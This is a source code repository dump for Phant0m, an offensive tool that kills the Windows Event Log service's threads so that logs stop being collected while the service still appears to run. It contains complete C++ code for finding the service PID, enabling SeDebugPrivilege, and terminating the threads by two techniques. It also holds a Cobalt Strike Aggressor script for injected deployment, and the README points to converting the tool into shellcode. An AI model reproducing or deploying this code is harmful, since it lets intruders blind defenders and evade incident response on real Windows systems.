2 |
3 | # Phant0m | Windows Event Log Killer
4 |
5 | Svchost is essential in the implementation of so-called shared service processes, where a number of services can share a process in order to reduce resource consumption. Grouping multiple services into a single process conserves computing resources, and this consideration was of particular concern to NT designers because creating Windows processes takes more time and consumes more memory than in other operating systems, e.g. in the Unix family.[1](https://en.wikipedia.org/wiki/Svchost.exe)
6 |
7 | This means briefly that; On Windows operating systems, svchost.exe manages the services and services are actually running under svchost.exe’s as threads. Phant0m targets the Event Log service and finding the process responsible for the Event Log service, it detects and kills the threads responsible for the Event Log service. Thus, while the Event Log service appears to be running in the system (because Phant0m didn't kill process), it does not actually run (because Phant0m killed threads) and the system does not collect logs.
8 |
9 | # How It Works & How To Use
10 |
11 |
12 |
13 | ## Detecting Event Log Service
14 | Phant0m uses two different options to detect the Process ID of the Event Log service. The first is to detect via the SCM (Service Control Manager) and the second is to detect via WMI (Windows Management Instrumentation). With which method you want Phant0m to detect the Process ID of the Event Log service, change the following lines in the main.cpp file.
15 |
16 | For example, if you want the Process ID to be detected via SCM, you should edit it as follows. (Do not set all values at the same time, set only the one technique you want.)
17 | ```cpp
18 | // PID detection techniques configuration section.
19 | #define PID_FROM_SCM 1 // If you set it to 1, the PID of the Event Log service is obtained from the Service Manager.
20 | #define PID_FROM_WMI 0 // If you set it to 1, the PID of the Event Log service is obtained from the WMI.
21 | ```
22 |
23 | For example, if you want threads to be killed using Technique-1, you should edit it as follows. (Do not set all values at the same time, set only the one technique you want.)
24 | ```cpp
25 | // TID detection and kill techniques configuration section.
26 | #define KILL_WITH_T1 1 // If you set it to 1, Technique-1 will be use. For more information; https://github.com/hlldz/Phant0m
27 | #define KILL_WITH_T2 0 // If you set it to 1, Technique-2 will be use. For more information; https://github.com/hlldz/Phant0m
28 | ```
29 | ## Detecting and Killing Threads
30 | Phant0m uses two different options to detect and kill the threads of the Event Log service.
31 |
32 | ### Technique-1
33 | When each service is registered on a machine running Windows Vista or later, the Service Control Manager (SCM) assigns a unique numeric tag to the service (in ascending order). Then, at service creation time, the tag is assigned to the TEB of the main service thread. This tag will then be propagated to every thread created by the main service thread. For example, if the Foo service thread creates an RPC worker thread (note: RPC worker threads don’t use the thread pool mechanism more on that later), that thread will have the Service Tag of the Foo service.[2](http://www.alex-ionescu.com/?p=52)
34 |
35 | So, in this technique Phant0m will detect threads of Event Log service with NtQueryInformationThread API to get the thread’s TEB address and read the SubProcessTag from the TEB. Then it kills the threads related to the Event Log service. The codes for this technique are in `the technique_1.h` file.
36 |
37 | ### Technique-2
38 | In this technique, Phant0m detects the names of DLLs associated with threads. Windows Event Log Service uses `wevtsvc.dll`. Full path is `%WinDir%\System32\wevtsvc.dll`. If the thread is using that DLL, it is the Windows Event Log Service’s thread and then Phant0m kills the thread. The codes for this technique are in `the technique_2.h` file.
39 |
40 | ## Usage
41 | You can use Phant0m both as a standalone EXE and as a Reflective DLL. Open the project in Microsoft Visual Studio, make the settings (select the detection and kill techniques) and compile. You can also use the Reflective DLL version with Cobalt Strike, for this there is an Aggressor Script file (phant0m.cna) in the repository.
42 |
43 |
44 |
45 | Fork and inject method was used with `bdllspawn` in the execution type of Aggressor Script (phant0m.cna) for Cobalt Strike. If you want to inject Phant0m into your existing process and run it, you can review this project (https://github.com/rxwx/cs-rdll-ipc-example) and you can do it easily. You can also convert the code to DLL and then to Shellcode with [Donut](https://github.com/TheWover/donut).
46 |
47 | NOTE: The project only supports x64 architecture.
48 |
49 | ---
50 |
51 | ### Special Thanks to Those Who Mentioned Phant0m
52 | * Detecting in-memory attacks with Sysmon and Azure Security Center - https://azure.microsoft.com/tr-tr/blog/detecting-in-memory-attacks-with-sysmon-and-azure-security-center/
53 | * Experiments with Invoke-Phant0m - http://www.insomniacsecurity.com/2017/08/27/phant0m.html
54 | * Event Log Tampering Part 1: Disrupting the EventLog Service - https://medium.com/@7a616368/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c
55 | * Flying under the radar - https://www.exploit-db.com/docs/english/45898-flying-under-the-radar.pdf?rss
56 | * Denetim ve Log'lamanın Elli Tonu - https://gallery.technet.microsoft.com/Denetim-ve-Loglamann-Elli-cbed0000
57 | * Disabling Windows Event Logs by Suspending EventLog Service Threads - https://www.ired.team/offensive-security/defense-evasion/disabling-windows-event-logs-by-suspending-eventlog-service-threads
58 | * Event Log Service – Between Offensive And Defensive - https://blog.cybercastle.io/event-log-service-between-offensive-and-defensive/
59 | * Hunting Event Logging Coverup - https://malwarenailed.blogspot.com/2017/10/update-to-hunting-mimikatz-using-sysmon.html
60 | * Defense Evasion: Windows Event Logging (T1562.002) - https://hacker.observer/defense-evasion-windows-event-logging-t1562-002/
61 | * Pwning Windows Event Logging with YARA rules - https://labs.jumpsec.com/pwning-windows-event-logging-with-yara-rules/
62 | * Various Notes - Incidence Response on Attacker Tricks for EventLog - https://hannahsuarez.github.io/2019/IncidentResponseNotes-Attackers-EventLog/
63 |
--------------------------------------------------------------------------------
/images/cobaltstrike.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hlldz/Phant0m/13fc1555608724e21cf5255d04dfdf45aa5006d2/images/cobaltstrike.png
--------------------------------------------------------------------------------
/images/execution-flow.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hlldz/Phant0m/13fc1555608724e21cf5255d04dfdf45aa5006d2/images/execution-flow.png
--------------------------------------------------------------------------------
/images/phant0m.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hlldz/Phant0m/13fc1555608724e21cf5255d04dfdf45aa5006d2/images/phant0m.png
--------------------------------------------------------------------------------
/phant0m.cna:
--------------------------------------------------------------------------------
1 | # 1- Open the project (https://github.com/hlldz/Phant0m) in Microsoft Visual Studio, make the settings (select the detection and kill techniques) and compile.
2 | # 2- After set the DLL names on lines 14, 18, 27 and 31.
3 | # 3- Import script. Usage: phant0m DETECTION_TECHNIQUE (scm or wmi) KILL_TECHNIQUE (1 or 2)
4 |
5 | alias phant0m {
6 | local('$detection_technique $kill_technique');
7 |
8 | $detection_technique = $2;
9 | $kill_technique = $3;
10 |
11 | if($detection_technique eq "scm"){
12 | if($kill_technique eq "1"){
13 | blog($1, "\c0Phant0m will detect PID with SCM and kill service threads with Technique-1.");
14 | bdllspawn($1, script_resource("scm_1.dll"), $2, "Phant0m - SCM, Technique-1", 5000, false);
15 | }
16 | else if ($kill_technique eq "2"){
17 | blog($1, "\c0Phant0m will detect PID with SCM and kill service threads with Technique-2.");
18 | bdllspawn($1, script_resource("scm_2.dll"), $2, "Phant0m - SCM, Technique-2", 5000, false);
19 | }
20 | else {
21 | blog($1, "\c0Check your arguments.");
22 | }
23 | }
24 | else if($detection_technique eq "wmi"){
25 | if($kill_technique eq "1"){
26 | blog($1, "\c0Phant0m will detect PID with WMI and kill service threads with Technique-1.");
27 | bdllspawn($1, script_resource("wmi_1.dll"), $2, "Phant0m - WMI, Technique-1", 5000, false);
28 | }
29 | else if ($kill_technique eq "2"){
30 | blog($1, "\c0Phant0m will detect PID with WMI and kill service threads with Technique-2.");
31 | bdllspawn($1, script_resource("wmi_2.dll"), $2, "Phant0m - WMI, Technique-2", 5000, false);
32 | }
33 | else {
34 | blog($1, "\c0Check your arguments.");
35 | }
36 | }
37 | else {
38 | blog($1, "\c0Check your arguments.");
39 | }
40 | }
--------------------------------------------------------------------------------
/phant0m/include/pid_SCM.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | DWORD GetPIDFromSCManager() {
4 |
5 | printf("[*] Attempting to detect PID from Service Manager...\n");
6 |
7 | SC_HANDLE schSCManager, schService;
8 | SERVICE_STATUS_PROCESS ssProcess = {};
9 | DWORD dwBytesNeeded = 0;
10 |
11 | schSCManager = OpenSCManagerA(NULL, NULL, SERVICE_QUERY_STATUS);
12 |
13 | if (NULL == schSCManager) {
14 |
15 | printf("[!] SCM: OpenSCManager failed (%d)\n", GetLastError());
16 | return 0;
17 |
18 | }
19 |
20 | schService = OpenServiceA(schSCManager, "EventLog", SERVICE_QUERY_STATUS);
21 |
22 | if (schService == NULL) {
23 |
24 | printf("[!] SCM: OpenService failed (%d)\n", GetLastError());
25 | CloseServiceHandle(schSCManager);
26 | return 0;
27 |
28 | }
29 |
30 | if (!QueryServiceStatusEx(schService, SC_STATUS_PROCESS_INFO, reinterpret_cast(&ssProcess), sizeof(ssProcess), &dwBytesNeeded)) {
31 |
32 | printf("[!] SCM: QueryServiceStatusEx failed (%d)\n", GetLastError());
33 | CloseServiceHandle(schService);
34 | CloseServiceHandle(schSCManager);
35 | return 0;
36 |
37 | }
38 |
39 | return ssProcess.dwProcessId;
40 | }
41 |
42 |
--------------------------------------------------------------------------------
/phant0m/include/pid_WMI.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 |
6 | #pragma comment(lib, "wbemuuid.lib")
7 |
8 | DWORD GetPIDFromWMI() {
9 |
10 | printf("[*] Attempting to detect PID from WMI....\n");
11 |
12 | DWORD dwEventLogPID = 0;
13 |
14 | HRESULT hRes;
15 |
16 | hRes = CoInitializeEx(0, COINIT_MULTITHREADED);
17 |
18 | if (FAILED(hRes)) {
19 |
20 | printf("[!] WMI: Failed to initialize COM library.\n");
21 | return 0;
22 |
23 | }
24 |
25 | hRes = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);
26 |
27 | if (FAILED(hRes)) {
28 |
29 | printf("[!] WMI: Failed to initialize security.\n");
30 | CoUninitialize();
31 | return 0;
32 |
33 | }
34 |
35 | IWbemLocator* pLoc = NULL;
36 |
37 | hRes = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc);
38 |
39 | if (FAILED(hRes)) {
40 |
41 | printf("[!] WMI: Failed to create IWbemLocator object.\n");
42 | CoUninitialize();
43 | return 0;
44 |
45 | }
46 |
47 | IWbemServices* pSvc = NULL;
48 |
49 | hRes = pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc);
50 |
51 | if (FAILED(hRes)) {
52 |
53 | printf("[!] WMI: Could not connect.");
54 | pLoc->Release();
55 | CoUninitialize();
56 | return 0;
57 |
58 | }
59 |
60 | hRes = CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);
61 |
62 | if (FAILED(hRes)) {
63 |
64 | printf("[!] WMI: Could not set proxy blanket.\n");
65 | pSvc->Release();
66 | pLoc->Release();
67 | CoUninitialize();
68 | return 0;
69 |
70 | }
71 |
72 | IEnumWbemClassObject* pEnumerator = NULL;
73 |
74 | hRes = pSvc->ExecQuery(bstr_t("WQL"), bstr_t("SELECT * FROM Win32_Service"), WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator);
75 |
76 | if (FAILED(hRes)) {
77 |
78 | printf("[!] WMI: Query failed.\n");
79 | pSvc->Release();
80 | pLoc->Release();
81 | CoUninitialize();
82 | return 0;
83 |
84 | }
85 |
86 | IWbemClassObject* pclsObj = NULL;
87 | ULONG uReturn = 0;
88 |
89 | while (pEnumerator) {
90 |
91 | HRESULT hR = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);
92 |
93 | if (0 == uReturn) {
94 |
95 | break;
96 |
97 | }
98 |
99 | VARIANT vtProp;
100 | VariantInit(&vtProp);
101 |
102 | hR = pclsObj->Get(L"Name", 0, &vtProp, 0, 0);
103 |
104 | if (_wcsicmp(vtProp.bstrVal, L"eventlog") == 0) {
105 |
106 | hR = pclsObj->Get(L"ProcessId", 0, &vtProp, 0, 0);
107 | dwEventLogPID = vtProp.intVal;
108 | break;
109 |
110 | }
111 |
112 | VariantClear(&vtProp);
113 | pclsObj->Release();
114 |
115 | }
116 |
117 | pSvc->Release();
118 | pLoc->Release();
119 | pEnumerator->Release();
120 | CoUninitialize();
121 |
122 | return dwEventLogPID;
123 | }
--------------------------------------------------------------------------------
/phant0m/include/process_info.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | BOOL enoughIntegrityLevel() {
4 |
5 | BOOL checkResult = FALSE;
6 |
7 | HANDLE hToken, hProcess;
8 |
9 | DWORD dwLengthNeeded, dwIntegrityLevel;
10 | DWORD dwError = ERROR_SUCCESS;
11 |
12 | PTOKEN_MANDATORY_LABEL pTIL = NULL;
13 |
14 | hProcess = GetCurrentProcess();
15 | if (OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_QUERY_SOURCE, &hToken)) {
16 |
17 | if (!GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwLengthNeeded)) {
18 |
19 | dwError = GetLastError();
20 | if (dwError == ERROR_INSUFFICIENT_BUFFER) {
21 |
22 | pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, dwLengthNeeded);
23 | if (pTIL != NULL) {
24 |
25 | if (GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, dwLengthNeeded, &dwLengthNeeded)) {
26 |
27 | dwIntegrityLevel = *GetSidSubAuthority(pTIL->Label.Sid, (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1));
28 |
29 | if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID) {
30 | checkResult = TRUE;
31 | }
32 |
33 | }
34 |
35 | LocalFree(pTIL);
36 | }
37 |
38 | }
39 |
40 | }
41 |
42 | CloseHandle(hToken);
43 |
44 | }
45 |
46 | return checkResult;
47 |
48 | }
49 |
50 | BOOL EnableDebugPrivilege() {
51 |
52 | HANDLE hToken;
53 |
54 | if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
55 | TOKEN_PRIVILEGES tp;
56 | LUID luid;
57 |
58 | if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
59 |
60 | tp.PrivilegeCount = 1;
61 | tp.Privileges[0].Luid = luid;
62 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
63 |
64 | if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) {
65 |
66 | return TRUE;
67 |
68 | }
69 | }
70 | }
71 |
72 | return FALSE;
73 | }
74 |
75 | BOOL isPrivilegeOK() {
76 |
77 | BOOL privilgeStatus = FALSE;
78 |
79 | LUID luid;
80 | PRIVILEGE_SET privs;
81 | HANDLE hProcess;
82 | HANDLE hToken;
83 | hProcess = GetCurrentProcess();
84 |
85 | if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
86 |
87 | if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
88 |
89 | privs.PrivilegeCount = 1;
90 | privs.Control = PRIVILEGE_SET_ALL_NECESSARY;
91 | privs.Privilege[0].Luid = luid;
92 | privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;
93 |
94 | BOOL privCheckResult;
95 | PrivilegeCheck(hToken, &privs, &privCheckResult);
96 |
97 | if (privCheckResult == TRUE) {
98 |
99 | printf("[+] SeDebugPrivilege is enable, continuing...\n\n");
100 |
101 | privilgeStatus = TRUE;
102 | }
103 | else {
104 |
105 | printf("[!] SeDebugPrivilege is not enabled, trying to enable...\n");
106 |
107 | if (EnableDebugPrivilege() == TRUE) {
108 |
109 | printf("[+] SeDebugPrivilege is enabled, continuing...\n\n");
110 |
111 | privilgeStatus = TRUE;
112 |
113 | }
114 | else {
115 |
116 | privilgeStatus = FALSE;
117 |
118 | }
119 |
120 | }
121 |
122 | }
123 |
124 | }
125 |
126 | return privilgeStatus;
127 |
128 | }
--------------------------------------------------------------------------------
/phant0m/include/technique_1.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 | #include
6 |
7 | // Inspired from https://github.com/3gstudent/Eventlogedit-evtx--Evolution/blob/master/SuspendorResumeTidEx.cpp
8 | BOOL Technique_1(DWORD dwEventLogPID) {
9 |
10 | printf("[*] Using Technique-1 for killing threads...\n");
11 |
12 | BOOL killStatus = FALSE;
13 |
14 | HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
15 |
16 | if (hNtdll != NULL) {
17 |
18 | typedef NTSTATUS(WINAPI* _NtQueryInfomationThread)(HANDLE, LONG, PVOID, ULONG, PULONG);
19 |
20 | _NtQueryInfomationThread NtQueryInformationThread = (_NtQueryInfomationThread)GetProcAddress(hNtdll, "NtQueryInformationThread");
21 |
22 | HMODULE hAdvapi32 = GetModuleHandleA("advapi32.dll");
23 |
24 | if (hAdvapi32 != NULL) {
25 |
26 | typedef struct _CLIENT_ID {
27 | HANDLE UniqueProcess;
28 | HANDLE UniqueThread;
29 | } CLIENT_ID;
30 |
31 | typedef struct _THREAD_BASIC_INFORMATION {
32 | NTSTATUS exitStatus;
33 | PVOID pTebBaseAddress;
34 | CLIENT_ID clientId;
35 | KAFFINITY AffinityMask;
36 | int Priority;
37 | int BasePriority;
38 | int v;
39 |
40 | } THREAD_BASIC_INFORMATION, * PTHREAD_BASIC_INFORMATION;
41 |
42 | typedef enum _SC_SERVICE_TAG_QUERY_TYPE {
43 | ServiceNameFromTagInformation = 1,
44 | ServiceNameReferencingModuleInformation,
45 | ServiceNameTagMappingInformation,
46 | } SC_SERVICE_TAG_QUERY_TYPE, * PSC_SERVICE_TAG_QUERY_TYPE;
47 |
48 | typedef struct _SC_SERVICE_TAG_QUERY {
49 | ULONG processId;
50 | ULONG serviceTag;
51 | ULONG reserved;
52 | PVOID pBuffer;
53 | } SC_SERVICE_TAG_QUERY, * PSC_SERVICE_TAG_QUERY;
54 |
55 | typedef ULONG(WINAPI* _I_QueryTagInformation)(PVOID, SC_SERVICE_TAG_QUERY_TYPE, PSC_SERVICE_TAG_QUERY);
56 |
57 | _I_QueryTagInformation I_QueryTagInformation = (_I_QueryTagInformation)GetProcAddress(hAdvapi32, "I_QueryTagInformation");
58 |
59 | SC_SERVICE_TAG_QUERY scTagQuery = { 0 };
60 | ULONG hTag = NULL;
61 |
62 | THREADENTRY32 te32;
63 | THREAD_BASIC_INFORMATION tbi = { 0 };
64 | te32.dwSize = sizeof(THREADENTRY32);
65 |
66 | HANDLE hThreads = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
67 |
68 | BOOL threadList = Thread32First(hThreads, &te32);
69 |
70 | HANDLE hEvtProcess = NULL;
71 | HANDLE hEvtThread = NULL;
72 |
73 | while (threadList) {
74 |
75 | if (te32.th32OwnerProcessID == dwEventLogPID) {
76 |
77 | hEvtThread = OpenThread(THREAD_QUERY_LIMITED_INFORMATION | THREAD_SUSPEND_RESUME | THREAD_TERMINATE, FALSE, te32.th32ThreadID);
78 |
79 | NtQueryInformationThread(hEvtThread, (THREAD_INFORMATION_CLASS)0, &tbi, 0x30, NULL);
80 |
81 | hEvtProcess = OpenProcess(PROCESS_VM_READ, FALSE, te32.th32OwnerProcessID);
82 |
83 | if (tbi.pTebBaseAddress != 0) {
84 |
85 | ReadProcessMemory(hEvtProcess, ((PBYTE)tbi.pTebBaseAddress + 0x1720), &hTag, sizeof(HANDLE), NULL);
86 |
87 | scTagQuery.processId = te32.th32OwnerProcessID;
88 | scTagQuery.serviceTag = hTag;
89 |
90 | I_QueryTagInformation(NULL, ServiceNameFromTagInformation, &scTagQuery);
91 |
92 | char serviceName[MAX_PATH] = { 0 };
93 | size_t cbDest = MAX_PATH * sizeof(char);
94 |
95 | StringCbPrintfA(serviceName, cbDest, "%ws", (PCWSTR)scTagQuery.pBuffer);
96 |
97 | if (_stricmp(serviceName, "eventlog") == 0) {
98 |
99 | if (TerminateThread(hEvtThread, 0) == 0) {
100 |
101 | printf("[!] Thread %d is detected but kill failed. Error code is: %d\n", te32.th32ThreadID, GetLastError());
102 |
103 | }
104 | else {
105 |
106 | printf("[+] Thread %d is detected and successfully killed.\n", te32.th32ThreadID);
107 |
108 | }
109 |
110 | }
111 |
112 | scTagQuery = { 0 }; // Clear array
113 |
114 | CloseHandle(hEvtThread);
115 | CloseHandle(hEvtProcess);
116 | }
117 |
118 | }
119 |
120 | threadList = Thread32Next(hThreads, &te32);
121 |
122 | }
123 |
124 | CloseHandle(hThreads);
125 |
126 | }
127 |
128 | }
129 |
130 | return killStatus;
131 | }
--------------------------------------------------------------------------------
/phant0m/include/technique_2.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 | #include
6 |
7 | // Inspired from http://www.rohitab.com/discuss/topic/36675-how-to-get-the-module-name-associated-with-a-thread/?p=10078697
8 | BOOL Technique_2(DWORD dwEventLogPID) {
9 |
10 | printf("[*] Using Technique-2 for killing threads...\n");
11 |
12 | BOOL killStatus = FALSE;
13 |
14 | HANDLE hEvtSnapshot = NULL;
15 | HANDLE hEvtThread = NULL;
16 |
17 | THREADENTRY32 te32;
18 | te32.dwSize = sizeof(THREADENTRY32);
19 | te32.cntUsage = 0;
20 |
21 | MODULEENTRY32 me32;
22 | me32.dwSize = sizeof(MODULEENTRY32);
23 | me32.th32ModuleID = 1;
24 |
25 | HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
26 |
27 | if ((hEvtSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, dwEventLogPID)) != INVALID_HANDLE_VALUE) {
28 |
29 | while (Thread32Next(hEvtSnapshot, &te32)) {
30 |
31 | if (te32.th32OwnerProcessID == dwEventLogPID) {
32 | hEvtThread = OpenThread(THREAD_QUERY_INFORMATION | THREAD_SUSPEND_RESUME | THREAD_TERMINATE, FALSE, te32.th32ThreadID);
33 |
34 | if (hEvtThread != NULL) {
35 |
36 | HANDLE hNewThreadHandle;
37 | DWORD64 dwThreadStartAddr = 0;
38 |
39 | if (hNtdll != NULL) {
40 |
41 | typedef NTSTATUS(WINAPI* _NtQueryInfomationThread)(HANDLE, LONG, PVOID, ULONG, PULONG);
42 |
43 | _NtQueryInfomationThread NtQueryInformationThread;
44 |
45 | if ((NtQueryInformationThread = (_NtQueryInfomationThread)GetProcAddress(hNtdll, "NtQueryInformationThread"))) {
46 |
47 | HANDLE hPeusdoCurrentProcess = GetCurrentProcess();
48 |
49 | if (DuplicateHandle(hPeusdoCurrentProcess, hEvtThread, hPeusdoCurrentProcess, &hNewThreadHandle, THREAD_QUERY_INFORMATION, FALSE, 0)) {
50 |
51 | NtQueryInformationThread(hNewThreadHandle, 9, &dwThreadStartAddr, sizeof(DWORD64), NULL);
52 | CloseHandle(hNewThreadHandle);
53 |
54 | }
55 |
56 | }
57 |
58 | }
59 |
60 | char moduleName[MAX_PATH] = { 0 };
61 | size_t cbDest = MAX_PATH * sizeof(char);
62 |
63 | if (Module32First(hEvtSnapshot, &me32)) {
64 |
65 | if (dwThreadStartAddr >= (DWORD_PTR)me32.modBaseAddr && dwThreadStartAddr <= ((DWORD_PTR)me32.modBaseAddr + me32.modBaseSize)) {
66 |
67 | StringCbPrintfA(moduleName, cbDest, "%ws", me32.szExePath);
68 |
69 | }
70 | else {
71 |
72 | while (Module32Next(hEvtSnapshot, &me32)) {
73 |
74 | if (dwThreadStartAddr >= (DWORD_PTR)me32.modBaseAddr && dwThreadStartAddr <= ((DWORD_PTR)me32.modBaseAddr + me32.modBaseSize)) {
75 |
76 | StringCbPrintfA(moduleName, cbDest, "%ws", me32.szExePath);
77 | break;
78 |
79 | }
80 |
81 | }
82 |
83 | }
84 |
85 | }
86 |
87 | if (strstr(moduleName, "wevtsvc.dll")) {
88 |
89 | if (TerminateThread(hEvtThread, 0) == 0) {
90 |
91 | printf("[!] Thread %d is detected but kill failed. Error code is: %d\n", te32.th32ThreadID, GetLastError());
92 |
93 | }
94 | else {
95 |
96 | printf("[+] Thread %d is detected and successfully killed.\n", te32.th32ThreadID);
97 |
98 | }
99 |
100 | }
101 |
102 | CloseHandle(hEvtThread);
103 |
104 | }
105 |
106 | }
107 |
108 | }
109 |
110 | }
111 |
112 | CloseHandle(hEvtSnapshot);
113 |
114 | return killStatus;
115 | }
--------------------------------------------------------------------------------
/phant0m/phant0m-exe/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include "../include/process_info.h"
5 |
6 | // PID detection techniques configuration section.
7 | #define PID_FROM_SCM 1 // If you set it to 1, the PID of the Event Log service is obtained from the Service Manager.
8 | #define PID_FROM_WMI 0 // If you set it to 1, the PID of the Event Log service is obtained from the WMI.
9 |
10 |
11 | // TID detection and kill techniques configuration section.
12 | #define KILL_WITH_T1 1 // If you set it to 1, Technique-1 will be use. For more information; https://github.com/hlldz/Phant0m
13 | #define KILL_WITH_T2 0 // If you set it to 1, Technique-2 will be use. For more information; https://github.com/hlldz/Phant0m
14 |
15 |
16 | #if defined(PID_FROM_SCM) && PID_FROM_SCM == 1
17 | #include "../include/pid_SCM.h"
18 | #endif
19 |
20 | #if defined(PID_FROM_WMI) && PID_FROM_WMI == 1
21 | #include "../include/pid_WMI.h"
22 | #endif
23 |
24 |
25 | #if defined(KILL_WITH_T1) && KILL_WITH_T1 == 1
26 | #include "../include/technique_1.h"
27 | #endif
28 |
29 | #if defined(KILL_WITH_T2) && KILL_WITH_T2 == 1
30 | #include "../include/technique_2.h"
31 | #endif
32 |
33 | void Phant0m() {
34 |
35 | puts(
36 | "\t ___ _ _ _ _ _ _____ __ __ __ \n"
37 | "\t| _ \\ || | /_\\ | \\| |_ _/ \\| \\/ |\n"
38 | "\t| _/ __ |/ _ \\| .` | | || () | |\\/| |\n"
39 | "\t|_| |_||_/_/ \\_\\_|\\_| |_| \\__/|_| |_|\n\n"
40 | "\tVersion: \t2.0\n"
41 | "\tAuthor: \tHalil Dalabasmaz\n"
42 | "\tWWW: \t\tartofpwn.com\n"
43 | "\tTwitter: \t@hlldz\n"
44 | "\tGithub: \t@hlldz\n"
45 | );
46 |
47 | if (enoughIntegrityLevel() == TRUE) {
48 |
49 | printf("[+] Process Integrity Level is high, continuing...\n\n");
50 |
51 | if (isPrivilegeOK() == TRUE) {
52 |
53 | #if defined(PID_FROM_SCM) && PID_FROM_SCM == 1
54 | DWORD dwEventLogPID = GetPIDFromSCManager();
55 | #endif
56 |
57 | #if defined(PID_FROM_WMI) && PID_FROM_WMI == 1
58 | DWORD dwEventLogPID = GetPIDFromWMI();
59 | #endif
60 |
61 | if (dwEventLogPID != 0) {
62 |
63 | printf("[+] Event Log service PID detected as %d.\n\n", dwEventLogPID);
64 |
65 | #if defined(KILL_WITH_T1) && KILL_WITH_T1 == 1
66 | Technique_1(dwEventLogPID);
67 | #endif
68 |
69 | #if defined(KILL_WITH_T2) && KILL_WITH_T2 == 1
70 | Technique_2(dwEventLogPID);
71 | #endif
72 |
73 | }
74 | else {
75 |
76 | printf("[!] Exiting...\n");
77 |
78 | }
79 | }
80 | else {
81 |
82 | printf("[!] SeDebugPrivilege cannot enabled. Exiting...\n");
83 |
84 | }
85 |
86 | }
87 | else {
88 |
89 | printf("[!] Process Integrity Level is not high. Exiting...\n");
90 |
91 | }
92 |
93 | printf("\n[*] All done.\n");
94 |
95 | }
96 |
97 | int main() {
98 |
99 | Phant0m();
100 |
101 | return 0;
102 | }
--------------------------------------------------------------------------------
/phant0m/phant0m-exe/phant0m-exe.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {ec79f5dd-3943-4413-a298-8f4f2b8c2371}
25 | phant0mexe
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v142
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v142
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v142
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v142
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | true
76 |
77 |
78 | false
79 |
80 |
81 | true
82 |
83 |
84 | false
85 |
86 |
87 |
88 | Level3
89 | true
90 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
91 | true
92 |
93 |
94 | Console
95 | true
96 |
97 |
98 |
99 |
100 | Level3
101 | true
102 | true
103 | true
104 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
105 | true
106 |
107 |
108 | Console
109 | true
110 | true
111 | true
112 |
113 |
114 |
115 |
116 | Level3
117 | true
118 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
119 | true
120 |
121 |
122 | Console
123 | true
124 |
125 |
126 |
127 |
128 | Level3
129 | true
130 | true
131 | true
132 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
133 | true
134 | MultiThreaded
135 |
136 |
137 | Console
138 | true
139 | true
140 | false
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
--------------------------------------------------------------------------------
/phant0m/phant0m-exe/phant0m-exe.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
